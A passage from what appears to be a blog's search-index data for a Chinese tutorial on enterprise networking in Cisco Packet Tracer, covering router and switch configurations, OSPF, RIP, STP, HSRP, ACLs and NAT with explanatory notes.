192.168.12.0 0.0.0.255 area 0 network 192.168.13.0 0.0.0.255 area 0 network 192.168.16.0 0.0.0.255 area 0 network 192.168.17.0 0.0.0.255 area 0 说明： 串口如果是 DCE 端，需要 clock rate 64000 这里依然把 DHCP 请求中继到 192.168.11.3 这台设备是很多网段的汇聚点，一旦 OSPF 漏宣告，这里最容易出问题 ","date":"2026-04-24","heading":"2. 核心路由器","objectID":"/posts/cisco-packet-tracer/:6:2","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#2-核心路由器"},{"categories":["网络"],"collections":null,"content":"3. 出口路由器 作用： 对内连接企业私网 对外连接 ISP / 模拟互联网 做动态 NAT，并向 OSPF 发布默认路由 interface Serial0/1/0 ip address 192.168.17.2 255.255.255.0 ip nat inside interface Serial0/1/1 ip address 100.1.1.1 255.255.255.0 ip nat outside clock rate 64000 router ospf 80 log-adjacency-changes network 192.168.17.0 0.0.0.255 area 0 default-information originate ip nat pool DZC 100.1.1.3 100.1.1.10 netmask 255.255.255.0 ip nat inside source list 1 pool DZC ip classless ip route 0.0.0.0 0.0.0.0 100.1.1.2 access-list 1 permit 192.168.0.0 0.0.255.255 说明： ip nat inside source list 1 pool DZC 是动态 NAT 地址池，不是 PAT 如果希望很多内网主机共享少量公网地址，通常写成 overload default-information originate 的前提是本机路由表里已经有默认路由，所以 ip route 0.0.0.0 0.0.0.0 100.1.1.2 不能漏 inside / outside 配反时，NAT 一定不生效 ","date":"2026-04-24","heading":"3. 出口路由器","objectID":"/posts/cisco-packet-tracer/:6:3","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#3-出口路由器"},{"categories":["网络"],"collections":null,"content":"4. 外网路由器 interface Serial0/1/0 ip address 100.1.1.2 255.255.255.0 interface GigabitEthernet0/0/0 ip address 100.1.2.1 255.255.255.0 这一台主要用于模拟 ISP / 互联网，只要把去出口的下一跳配通即可。 ","date":"2026-04-24","heading":"4. 外网路由器","objectID":"/posts/cisco-packet-tracer/:6:4","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#4-外网路由器"},{"categories":["网络"],"collections":null,"content":"5. 总公司接入路由器 作用： 上联核心路由器 下联双核心交换机 其中 NIM-ES 2-4 模块提供的是二层交换口，所以需要用 VLAN + SVI 的方式承载三层地址 interface GigabitEthernet0/0/0 ip address 192.168.13.2 255.255.255.0 interface GigabitEthernet0/0/1 ip address 192.168.14.1 255.255.255.0 ip helper-address 192.168.11.3 interface GigabitEthernet0/1/0 switchport mode access switchport access vlan 101 interface Vlan101 mac-address 0060.471d.b601 ip address 192.168.15.1 255.255.255.0 ip helper-address 192.168.11.3 router ospf 50 log-adjacency-changes network 192.168.13.0 0.0.0.255 area 0 network 192.168.14.0 0.0.0.255 area 0 network 192.168.15.0 0.0.0.255 area 0 说明： NIM-ES 模块出来的是交换端口，不能一边 no switchport 一边又 switchport mode access 正确思路是把物理口加入 VLAN 101，然后把 IP 配在 interface Vlan101 上 与它相连的交换机接口也要落到同一个 VLAN 与之相连的交换机接口示例： interface FastEthernet0/8 switchport mode access switchport access vlan 101 ","date":"2026-04-24","heading":"5. 总公司接入路由器","objectID":"/posts/cisco-packet-tracer/:6:5","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#5-总公司接入路由器"},{"categories":["网络"],"collections":null,"content":"6. 双机热备与双核心交换机 这部分是整套实验最容易配乱的地方。建议先明确三个事实： 三层交换机必须先开启 ip routing HSRP 给终端提供虚拟网关 OSPF 只在真正连接到三层邻居的接口上建邻接，普通用户 VLAN 接口一般保持 passive 先看 OSPF 的思路： router ospf 60 passive-interface default no passive-interface FastEthernet0/1 network 192.168.1.0 0.0.0.255 area 0 network 192.168.2.0 0.0.0.255 area 0 network 192.168.3.0 0.0.0.255 area 0 network 192.168.4.0 0.0.0.255 area 0 network 192.168.5.0 0.0.0.255 area 0 network 192.168.10.0 0.0.0.255 area 0 network 192.168.14.0 0.0.0.255 area 0 这段配置的意思不是“VLAN 口不能跑 OSPF”，而是： 默认所有接口都不发 Hello 只有真正要与其他三层设备建邻居的口，才用 no passive-interface 打开 普通接用户的 SVI 依然可以被 network 宣告进 OSPF，只是不参与邻居建立 左侧多层交换机 特点： 作为 VLAN 10 / 20 / 30 的主网关 同时承担这些 VLAN 的 STP 主根桥 ip routing spanning-tree mode pvst spanning-tree vlan 10,20,30 priority 24576 spanning-tree vlan 40,50 priority 28672 interface FastEthernet0/1 no switchport ip address 192.168.14.2 255.255.255.0 interface FastEthernet0/2 switchport mode access switchport access vlan 100 interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/5 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/6 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/7 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/8 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/9 switchport trunk encapsulation dot1q switchport mode trunk interface Vlan10 mac-address 0001.c950.e401 ip address 192.168.1.1 255.255.255.0 ip helper-address 192.168.11.3 standby 10 ip 192.168.1.254 standby 10 priority 101 standby 10 preempt standby 10 track FastEthernet0/1 interface Vlan20 mac-address 0001.c950.e402 ip address 192.168.2.1 255.255.255.0 ip helper-address 192.168.11.3 standby 20 ip 192.168.2.254 standby 20 priority 101 standby 20 preempt standby 20 track FastEthernet0/1 interface Vlan30 mac-address 0001.c950.e403 ip address 192.168.3.1 255.255.255.0 ip helper-address 192.168.11.3 standby 30 ip 192.168.3.254 standby 30 priority 101 standby 30 preempt standby 30 track FastEthernet0/1 interface Vlan40 mac-address 0001.c950.e404 ip address 192.168.4.1 255.255.255.0 ip helper-address 192.168.11.3 standby 40 ip 192.168.4.254 standby 40 preempt standby 40 track FastEthernet0/1 interface Vlan50 mac-address 0001.c950.e405 ip address 192.168.5.1 255.255.255.0 ip helper-address 192.168.11.3 standby 50 ip 192.168.5.254 standby 50 preempt standby 50 track FastEthernet0/1 interface Vlan100 mac-address 0001.c950.e406 ip address 192.168.10.254 255.255.255.0 ip helper-address 192.168.11.3 router ospf 60 log-adjacency-changes passive-interface default no passive-interface FastEthernet0/1 network 192.168.14.0 0.0.0.255 area 0 network 192.168.1.0 0.0.0.255 area 0 network 192.168.2.0 0.0.0.255 area 0 network 192.168.3.0 0.0.0.255 area 0 network 192.168.4.0 0.0.0.255 area 0 network 192.168.5.0 0.0.0.255 area 0 network 192.168.10.0 0.0.0.255 area 0 右侧多层交换机 特点： 作为 VLAN 40 / 50 的主网关 同时承担这些 VLAN 的 STP 主根桥 ip routing spanning-tree mode pvst spanning-tree vlan 40,50 priority 24576 spanning-tree vlan 10,20,30 priority 28672 interface FastEthernet0/1 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/2 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/5 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/6 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/7 switchport mode access switchport access vlan 110 interface FastEthernet0/8 switchport mode access switchport access vlan 101 interface Vlan10 mac-address 0001.c74b.9801 ip address 192.168.1.2 255.255.255.0 ip helper-address 192.168.11.3 s","date":"2026-04-24","heading":"6. 双机热备与双核心交换机","objectID":"/posts/cisco-packet-tracer/:6:6","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#6-双机热备与双核心交换机"},{"categories":["网络"],"collections":null,"content":"6. 双机热备与双核心交换机 这部分是整套实验最容易配乱的地方。建议先明确三个事实： 三层交换机必须先开启 ip routing HSRP 给终端提供虚拟网关 OSPF 只在真正连接到三层邻居的接口上建邻接，普通用户 VLAN 接口一般保持 passive 先看 OSPF 的思路： router ospf 60 passive-interface default no passive-interface FastEthernet0/1 network 192.168.1.0 0.0.0.255 area 0 network 192.168.2.0 0.0.0.255 area 0 network 192.168.3.0 0.0.0.255 area 0 network 192.168.4.0 0.0.0.255 area 0 network 192.168.5.0 0.0.0.255 area 0 network 192.168.10.0 0.0.0.255 area 0 network 192.168.14.0 0.0.0.255 area 0 这段配置的意思不是“VLAN 口不能跑 OSPF”，而是： 默认所有接口都不发 Hello 只有真正要与其他三层设备建邻居的口，才用 no passive-interface 打开 普通接用户的 SVI 依然可以被 network 宣告进 OSPF，只是不参与邻居建立 左侧多层交换机 特点： 作为 VLAN 10 / 20 / 30 的主网关 同时承担这些 VLAN 的 STP 主根桥 ip routing spanning-tree mode pvst spanning-tree vlan 10,20,30 priority 24576 spanning-tree vlan 40,50 priority 28672 interface FastEthernet0/1 no switchport ip address 192.168.14.2 255.255.255.0 interface FastEthernet0/2 switchport mode access switchport access vlan 100 interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/5 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/6 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/7 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/8 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/9 switchport trunk encapsulation dot1q switchport mode trunk interface Vlan10 mac-address 0001.c950.e401 ip address 192.168.1.1 255.255.255.0 ip helper-address 192.168.11.3 standby 10 ip 192.168.1.254 standby 10 priority 101 standby 10 preempt standby 10 track FastEthernet0/1 interface Vlan20 mac-address 0001.c950.e402 ip address 192.168.2.1 255.255.255.0 ip helper-address 192.168.11.3 standby 20 ip 192.168.2.254 standby 20 priority 101 standby 20 preempt standby 20 track FastEthernet0/1 interface Vlan30 mac-address 0001.c950.e403 ip address 192.168.3.1 255.255.255.0 ip helper-address 192.168.11.3 standby 30 ip 192.168.3.254 standby 30 priority 101 standby 30 preempt standby 30 track FastEthernet0/1 interface Vlan40 mac-address 0001.c950.e404 ip address 192.168.4.1 255.255.255.0 ip helper-address 192.168.11.3 standby 40 ip 192.168.4.254 standby 40 preempt standby 40 track FastEthernet0/1 interface Vlan50 mac-address 0001.c950.e405 ip address 192.168.5.1 255.255.255.0 ip helper-address 192.168.11.3 standby 50 ip 192.168.5.254 standby 50 preempt standby 50 track FastEthernet0/1 interface Vlan100 mac-address 0001.c950.e406 ip address 192.168.10.254 255.255.255.0 ip helper-address 192.168.11.3 router ospf 60 log-adjacency-changes passive-interface default no passive-interface FastEthernet0/1 network 192.168.14.0 0.0.0.255 area 0 network 192.168.1.0 0.0.0.255 area 0 network 192.168.2.0 0.0.0.255 area 0 network 192.168.3.0 0.0.0.255 area 0 network 192.168.4.0 0.0.0.255 area 0 network 192.168.5.0 0.0.0.255 area 0 network 192.168.10.0 0.0.0.255 area 0 右侧多层交换机 特点： 作为 VLAN 40 / 50 的主网关 同时承担这些 VLAN 的 STP 主根桥 ip routing spanning-tree mode pvst spanning-tree vlan 40,50 priority 24576 spanning-tree vlan 10,20,30 priority 28672 interface FastEthernet0/1 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/2 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/5 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/6 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/7 switchport mode access switchport access vlan 110 interface FastEthernet0/8 switchport mode access switchport access vlan 101 interface Vlan10 mac-address 0001.c74b.9801 ip address 192.168.1.2 255.255.255.0 ip helper-address 192.168.11.3 s","date":"2026-04-24","heading":"左侧多层交换机","objectID":"/posts/cisco-packet-tracer/:6:6","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#左侧多层交换机"},{"categories":["网络"],"collections":null,"content":"6. 双机热备与双核心交换机 这部分是整套实验最容易配乱的地方。建议先明确三个事实： 三层交换机必须先开启 ip routing HSRP 给终端提供虚拟网关 OSPF 只在真正连接到三层邻居的接口上建邻接，普通用户 VLAN 接口一般保持 passive 先看 OSPF 的思路： router ospf 60 passive-interface default no passive-interface FastEthernet0/1 network 192.168.1.0 0.0.0.255 area 0 network 192.168.2.0 0.0.0.255 area 0 network 192.168.3.0 0.0.0.255 area 0 network 192.168.4.0 0.0.0.255 area 0 network 192.168.5.0 0.0.0.255 area 0 network 192.168.10.0 0.0.0.255 area 0 network 192.168.14.0 0.0.0.255 area 0 这段配置的意思不是“VLAN 口不能跑 OSPF”，而是： 默认所有接口都不发 Hello 只有真正要与其他三层设备建邻居的口，才用 no passive-interface 打开 普通接用户的 SVI 依然可以被 network 宣告进 OSPF，只是不参与邻居建立 左侧多层交换机 特点： 作为 VLAN 10 / 20 / 30 的主网关 同时承担这些 VLAN 的 STP 主根桥 ip routing spanning-tree mode pvst spanning-tree vlan 10,20,30 priority 24576 spanning-tree vlan 40,50 priority 28672 interface FastEthernet0/1 no switchport ip address 192.168.14.2 255.255.255.0 interface FastEthernet0/2 switchport mode access switchport access vlan 100 interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/5 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/6 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/7 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/8 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/9 switchport trunk encapsulation dot1q switchport mode trunk interface Vlan10 mac-address 0001.c950.e401 ip address 192.168.1.1 255.255.255.0 ip helper-address 192.168.11.3 standby 10 ip 192.168.1.254 standby 10 priority 101 standby 10 preempt standby 10 track FastEthernet0/1 interface Vlan20 mac-address 0001.c950.e402 ip address 192.168.2.1 255.255.255.0 ip helper-address 192.168.11.3 standby 20 ip 192.168.2.254 standby 20 priority 101 standby 20 preempt standby 20 track FastEthernet0/1 interface Vlan30 mac-address 0001.c950.e403 ip address 192.168.3.1 255.255.255.0 ip helper-address 192.168.11.3 standby 30 ip 192.168.3.254 standby 30 priority 101 standby 30 preempt standby 30 track FastEthernet0/1 interface Vlan40 mac-address 0001.c950.e404 ip address 192.168.4.1 255.255.255.0 ip helper-address 192.168.11.3 standby 40 ip 192.168.4.254 standby 40 preempt standby 40 track FastEthernet0/1 interface Vlan50 mac-address 0001.c950.e405 ip address 192.168.5.1 255.255.255.0 ip helper-address 192.168.11.3 standby 50 ip 192.168.5.254 standby 50 preempt standby 50 track FastEthernet0/1 interface Vlan100 mac-address 0001.c950.e406 ip address 192.168.10.254 255.255.255.0 ip helper-address 192.168.11.3 router ospf 60 log-adjacency-changes passive-interface default no passive-interface FastEthernet0/1 network 192.168.14.0 0.0.0.255 area 0 network 192.168.1.0 0.0.0.255 area 0 network 192.168.2.0 0.0.0.255 area 0 network 192.168.3.0 0.0.0.255 area 0 network 192.168.4.0 0.0.0.255 area 0 network 192.168.5.0 0.0.0.255 area 0 network 192.168.10.0 0.0.0.255 area 0 右侧多层交换机 特点： 作为 VLAN 40 / 50 的主网关 同时承担这些 VLAN 的 STP 主根桥 ip routing spanning-tree mode pvst spanning-tree vlan 40,50 priority 24576 spanning-tree vlan 10,20,30 priority 28672 interface FastEthernet0/1 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/2 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/5 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/6 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/7 switchport mode access switchport access vlan 110 interface FastEthernet0/8 switchport mode access switchport access vlan 101 interface Vlan10 mac-address 0001.c74b.9801 ip address 192.168.1.2 255.255.255.0 ip helper-address 192.168.11.3 s","date":"2026-04-24","heading":"右侧多层交换机","objectID":"/posts/cisco-packet-tracer/:6:6","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#右侧多层交换机"},{"categories":["网络"],"collections":null,"content":"7. 分公司接入路由器 interface FastEthernet0/1 no switchport ip address 192.168.18.2 255.255.255.0 duplex auto speed auto interface FastEthernet0/2 switchport mode access switchport access vlan 80 interface FastEthernet0/3 switchport trunk encapsulation dot1q switchport mode trunk interface FastEthernet0/4 switchport trunk encapsulation dot1q switchport mode trunk interface Vlan60 mac-address 0009.7c59.3801 ip address 192.168.6.254 255.255.255.0 ip helper-address 192.168.11.3 interface Vlan70 mac-address 0009.7c59.3802 ip address 192.168.7.254 255.255.255.0 ip helper-address 192.168.11.3 interface Vlan80 mac-address 0009.7c59.3803 ip address 192.168.8.254 255.255.255.0 ip helper-address 192.168.11.3 router ospf 40 log-adjacency-changes network 192.168.6.0 0.0.0.255 area 0 network 192.168.7.0 0.0.0.255 area 0 network 192.168.8.0 0.0.0.255 area 0 network 192.168.18.0 0.0.0.255 area 0 ","date":"2026-04-24","heading":"7. 分公司接入路由器","objectID":"/posts/cisco-packet-tracer/:6:7","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#7-分公司接入路由器"},{"categories":["网络"],"collections":null,"content":"8. 二层交换机 二层交换机只做接入和转发，不承担网关职责。 interface FastEthernet0/1 switchport mode trunk interface FastEthernet0/2 switchport mode trunk interface FastEthernet0/3 switchport mode access switchport access vlan 10 interface FastEthernet0/4 switchport mode access switchport access vlan 10 ","date":"2026-04-24","heading":"8. 二层交换机","objectID":"/posts/cisco-packet-tracer/:6:8","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#8-二层交换机"},{"categories":["网络"],"collections":null,"content":"路由协议 路由协议里最常见的是 OSPF，RIP 也仍然是实验、题目和小型拓扑里经常出现的内容。这个实验主体用的是 OSPF，但 RIP 也建议会配、会查、会和 OSPF 做比较。 ","date":"2026-04-24","heading":"路由协议","objectID":"/posts/cisco-packet-tracer/:7:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#路由协议"},{"categories":["网络"],"collections":null,"content":"OSPF OSPF 会维护三张关键表： 邻居表：已经建立邻接关系的设备 链路状态数据库（LSDB）：全网链路状态信息 路由表：SPF 计算后的最优路径 工作过程可以粗记为： 用 Hello 发现邻居 交换 LSA 建立 LSDB 运行 SPF 安装路由 与 RIP 等距离矢量协议不同，OSPF 路由器不直接交换整张路由表，而是交换链路状态信息。 最基本的 OSPF 配置： Router(config)# router ospf 10 Router(config-router)# network 192.168.11.0 0.0.0.255 area 0 Router(config-router)# network 192.168.12.0 0.0.0.255 area 0 Router(config-router)# passive-interface default Router(config-router)# no passive-interface g0/0/1 几个关键点： router ospf 10 里的 10 只是本机进程号，只在设备本地有意义 不同设备写成 1、10、20 都可以，不影响建邻 真正影响邻接是否建立的，是三层可达、Area 一致、Hello / Dead 定时器一致、认证一致，以及没有被 passive-interface 禁掉 passive-interface default 很适合企业网，默认把所有接口设为被动，只把真正需要建邻的口开放出来 常用 OSPF 检查命令： show ip ospf neighbor show ip protocols show ip ospf show ip route ospf ","date":"2026-04-24","heading":"OSPF","objectID":"/posts/cisco-packet-tracer/:7:1","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#ospf"},{"categories":["网络"],"collections":null,"content":"RIP RIP 是典型的距离矢量协议，特点是简单，但能力也弱一些。 RIP 的几个考试 / 实验重点： 以“跳数”作为度量值 最大跳数是 15，16 代表不可达 周期性发送更新，默认大约每 30 秒一次 收敛速度比 OSPF 慢，不适合较大的企业网络 一般在小型拓扑、入门实验、简单分支网络里使用 如果要在实验里用 RIP，建议直接上 RIPv2： Router(config)# router rip Router(config-router)# version 2 Router(config-router)# no auto-summary Router(config-router)# network 192.168.0.0 Router(config-router)# passive-interface default Router(config-router)# no passive-interface g0/0/0 Router(config-router)# no passive-interface s0/1/0 说明： version 2：开启 RIPv2，支持无类路由 no auto-summary：关闭自动汇总，这句在实验里基本可以当成必敲 network 192.168.0.0：让落在这个主类网络内的接口参与 RIP passive-interface default：让接用户的接口不发 RIP 更新，只保留真正互联链路发送更新 如果希望出口路由器把默认路由下发给全网，可以这样写： Router(config)# ip route 0.0.0.0 0.0.0.0 100.1.1.2 Router(config)# router rip Router(config-router)# default-information originate RIP 常用检查命令： show ip route show ip protocols show ip rip database debug ip rip OSPF 和 RIP 可以这样粗记： 协议 类型 度量值 收敛速度 适用场景 OSPF 链路状态 Cost 快 企业园区、中大型网络 RIP 距离矢量 跳数 慢 小型网络、入门实验 ","date":"2026-04-24","heading":"RIP","objectID":"/posts/cisco-packet-tracer/:7:2","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#rip"},{"categories":["网络"],"collections":null,"content":"STP 与 HSRP STP 和 HSRP 经常一起出现，因为企业网络里既要“二层不成环”，也要“三层网关不单点”。 技术 控制什么 核心目的 STP 二层路径 防环路、防广播风暴 HSRP 三层网关 网关冗余、主备切换 ","date":"2026-04-24","heading":"STP 与 HSRP","objectID":"/posts/cisco-packet-tracer/:8:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#stp-与-hsrp"},{"categories":["网络"],"collections":null,"content":"STP STP（Spanning Tree Protocol，生成树协议）的作用是： 在二层冗余链路中阻塞一部分端口，避免交换网络形成环路 当主链路故障时，再把备用链路放通 STP 里最重要的几个概念： Root Bridge：根桥，整棵生成树的中心 Root Port：每台非根桥设备上，去往根桥的最佳端口 Designated Port：每个网段负责转发的端口 Blocking / Discarding：被阻塞的端口，不参与正常转发 这里用的是 PVST，常见配置有两种写法。 写法 1：直接指定主根和备根 Switch(config)# spanning-tree mode pvst Switch(config)# spanning-tree vlan 40,50 root primary Switch(config)# spanning-tree vlan 10,20,30 root secondary 写法 2：手工改优先级 Switch(config)# spanning-tree mode pvst Switch(config)# spanning-tree vlan 10,20,30 priority 24576 Switch(config)# spanning-tree vlan 40,50 priority 28672 说明： 优先级越小，越容易成为根桥 root primary / root secondary 本质上也是自动帮你调优先级 Access 口如果确定只接终端，可以开 portfast，但不要在 Trunk 或交换机互联口上乱开 接入口常见的增强配置： Switch(config)# interface range f0/3 - 24 Switch(config-if-range)# spanning-tree portfast Switch(config-if-range)# spanning-tree bpduguard enable 常用 STP 检查命令： show spanning-tree show spanning-tree vlan 10 show spanning-tree root ","date":"2026-04-24","heading":"STP","objectID":"/posts/cisco-packet-tracer/:8:1","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#stp"},{"categories":["网络"],"collections":null,"content":"HSRP HSRP（Hot Standby Router Protocol，热备份路由协议）的作用是给终端提供一个“虚拟网关”，这样真实网关坏了，终端不用改默认网关，业务还能继续走。 HSRP 里最重要的概念： Active：当前真正转发流量的设备 Standby：备用设备 Virtual IP：客户端填写的默认网关 Virtual MAC：跟着虚拟网关一起漂移的虚拟 MAC 最常见的 HSRP 配置： Switch(config)# interface vlan 10 Switch(config-if)# ip address 192.168.1.1 255.255.255.0 Switch(config-if)# standby 10 ip 192.168.1.254 Switch(config-if)# standby 10 priority 101 Switch(config-if)# standby 10 preempt Switch(config-if)# standby 10 track fastEthernet 0/1 每条命令的作用： standby 10 ip 192.168.1.254：定义虚拟网关 IP standby 10 priority 101：优先级高的一侧更容易成为 Active standby 10 preempt：主设备恢复后允许重新抢回主用角色 standby 10 track fastEthernet 0/1：上联口挂了就自动降权，方便切到备机 常用 HSRP 检查命令： show standby brief show standby show running-config interface vlan 10 ","date":"2026-04-24","heading":"HSRP","objectID":"/posts/cisco-packet-tracer/:8:2","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#hsrp"},{"categories":["网络"],"collections":null,"content":"为什么 STP 和 HSRP 要一起看 只配 HSRP 不看 STP，流量可能会绕路。 理想状态是： VLAN 10 / 20 / 30 的 HSRP Active 和 STP Root 都落在左侧核心 VLAN 40 / 50 的 HSRP Active 和 STP Root 都落在右侧核心 这样二层路径和三层网关方向一致，终端发往网关的数据不会先绕到另一台核心再转发。 ","date":"2026-04-24","heading":"为什么 STP 和 HSRP 要一起看","objectID":"/posts/cisco-packet-tracer/:8:3","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#为什么-stp-和-hsrp-要一起看"},{"categories":["网络"],"collections":null,"content":"ACL ACL（Access Control List，访问控制列表）本质上就是一串“从上到下匹配”的规则，用来决定哪些流量放行，哪些流量拒绝。 记住 ACL 的四条铁律： 自上而下逐条匹配 一旦命中，立即停止继续往下匹配 规则越具体，越应该写在前面 最后一条永远隐含 deny ip any any ","date":"2026-04-24","heading":"ACL","objectID":"/posts/cisco-packet-tracer/:9:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#acl"},{"categories":["网络"],"collections":null,"content":"标准 ACL 和扩展 ACL 类型 能匹配什么 常放位置 编号范围 标准 ACL 只看源 IP 靠近目的端 1-99、1300-1999 扩展 ACL 看源 / 目的 / 协议 / 端口 靠近源端 100-199、2000-2699 ","date":"2026-04-24","heading":"标准 ACL 和扩展 ACL","objectID":"/posts/cisco-packet-tracer/:9:1","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#标准-acl-和扩展-acl"},{"categories":["网络"],"collections":null,"content":"标准 ACL 标准 ACL 一般用来做“谁能来”，因为它只能看源地址。 示例 1：只允许网管网段远程登录设备 Router(config)# access-list 10 permit 192.168.10.0 0.0.0.255 Router(config)# line vty 0 4 Router(config-line)# access-class 10 in 示例 2：只允许 192.168.6.0/24 访问某个接口后的资源 Router(config)# access-list 20 permit 192.168.6.0 0.0.0.255 Router(config)# interface g0/0/1 Router(config-if)# ip access-group 20 out ","date":"2026-04-24","heading":"标准 ACL","objectID":"/posts/cisco-packet-tracer/:9:2","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#标准-acl"},{"categories":["网络"],"collections":null,"content":"扩展 ACL 扩展 ACL 可以精确到协议和端口，企业网里更常用。 示例：禁止分公司 VLAN60 访问服务器区 FTP，但允许其访问其他业务 Router(config)# access-list 100 deny tcp 192.168.6.0 0.0.0.255 192.168.11.0 0.0.0.255 eq 21 Router(config)# access-list 100 deny tcp 192.168.6.0 0.0.0.255 192.168.11.0 0.0.0.255 eq 20 Router(config)# access-list 100 permit ip any any Router(config)# interface FastEthernet0/1 Router(config-if)# ip access-group 100 in 如果想用命名 ACL，可读性会更高： Router(config)# ip access-list extended BLOCK_FTP Router(config-ext-nacl)# deny tcp 192.168.6.0 0.0.0.255 192.168.11.0 0.0.0.255 eq 21 Router(config-ext-nacl)# deny tcp 192.168.6.0 0.0.0.255 192.168.11.0 0.0.0.255 eq 20 Router(config-ext-nacl)# permit ip any any Router(config)# interface FastEthernet0/1 Router(config-if)# ip access-group BLOCK_FTP in ","date":"2026-04-24","heading":"扩展 ACL","objectID":"/posts/cisco-packet-tracer/:9:3","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#扩展-acl"},{"categories":["网络"],"collections":null,"content":"ACL 的放置原则 标准 ACL：尽量靠近目的端 扩展 ACL：尽量靠近源端 控制谁能远程登录设备：优先用 line vty 下的 access-class NAT 里用到的 ACL 往往只是“匹配谁做转换”，不一定是“拦截流量” ACL 常用检查命令： show access-lists show ip interface show running-config | section access-list ","date":"2026-04-24","heading":"ACL 的放置原则","objectID":"/posts/cisco-packet-tracer/:9:4","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#acl-的放置原则"},{"categories":["网络"],"collections":null,"content":"NAT 企业出口里的 NAT，本质上是把私网地址改成公网地址。最常见的是“内网用户访问外网”时做源地址转换。 ","date":"2026-04-24","heading":"NAT","objectID":"/posts/cisco-packet-tracer/:10:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#nat"},{"categories":["网络"],"collections":null,"content":"PAT：多个内网地址复用一个公网地址 Router(config)# interface gigabitEthernet 0/0/0 Router(config-if)# ip nat inside Router(config)# interface serial 0/2/0 Router(config-if)# ip nat outside Router(config)# access-list 1 permit 192.168.0.0 0.0.255.255 Router(config)# ip nat inside source list 1 interface serial 0/2/0 overload 说明： overload 的作用是端口复用，也就是常说的 PAT 多台内网主机可以共用一个公网 IP ","date":"2026-04-24","heading":"PAT：多个内网地址复用一个公网地址","objectID":"/posts/cisco-packet-tracer/:10:1","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#pat多个内网地址复用一个公网地址"},{"categories":["网络"],"collections":null,"content":"动态 